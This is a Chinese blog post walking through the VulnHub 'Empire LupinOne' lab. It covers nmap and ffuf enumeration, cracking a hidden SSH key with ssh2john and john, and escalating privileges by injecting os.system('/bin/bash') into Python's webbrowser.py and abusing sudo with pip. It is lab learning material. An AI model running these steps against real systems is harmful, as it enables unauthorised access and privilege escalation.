这次用的是Oracle VM VirtualBox,避免用vmware出现的问题
靶机地址:https://www.vulnhub.com/entry/empire-lupinone,750/
arp-scan -l 扫描ip
kali:172.88.6.144
靶场:172.88.6.63/
1、扫描ip
nmap -A -sV -T4 -p- 172.88.6.63
1.1 尝试访问ip
1.2 目录扫描 dirb http://172.88.6.63/
扫描的结果又很多
http://172.88.6.63/manual/
打开页面源代码,发现
1.3 使用 ffuf 工具暴力破解目录
ffuf -c -w /usr/share/wordlists/dirb/common.txt -u 'http://172.88.6.63/~FUZZ'
http://172.88.6.63/~secret/
ffuf -u "http://172.88.6.63/~secret/.FUZZ" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .txt,.pub,.html,.bak -mc 200
找的过程不是太顺利
http://172.88.6.63/~secret/.mysecret.txt
注意前面是有一个点 .mysecret.txt
好像是BASE58能解开
将私钥复制到ssh.key文件中,注意kali的私钥命名方式
/usr/share/john/ssh2john.py ssh.key > hash
john --wordlist=/usr/share/wordlists/fasttrack.txt hash
找到密码 P@55w0rd!
想了半天,用户名是那个,于是向前找了找
用户名:icex64 密码:P@55w0rd!
出现这个问题,百度了也找人了,终于给出结果了,是我在复制秘钥的时候出现了问题
用vim写秘钥,将秘钥复制在vim的siyao.key中,给个600的权限
ssh [email protected] -i siyue.key
然后就进来了
2.提权
发现一个文件
find / -perm -u=s -type f 2>/dev/null
这里找到一个
icex64@LupinOne:~$ whereis webbrowser.py
webbrowser:
icex64@LupinOne:~$ locate webbrowser.py
icex64@LupinOne:~$ python --version
-bash: python: command not found
icex64@LupinOne:~$ python3 --version
Python 3.9.2
看到这个两个文件与一个适合我们用的
修改 webbrower.py
,添加以下代码
os.system ("/bin/bash")
使用 vi 打开文件:vim /usr/lib/python3.9/webbrowser.py
执行以下命令切换 shell: sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
访问:https://gtfobins.github.io/,查询 pip
把这上面的代码复制下放到里面提权
用到dirb、ffuf,还有GTFOBins,只能积累了
细节方面,在使用 ffuf 工具暴力破解目录和私钥的时候,注意别弄错了
标签:6.63,01,http,Lupin,172.88,vulnhub,ffuf,txt,usr From: https://www.cnblogs.com/ndy619/p/17501658.html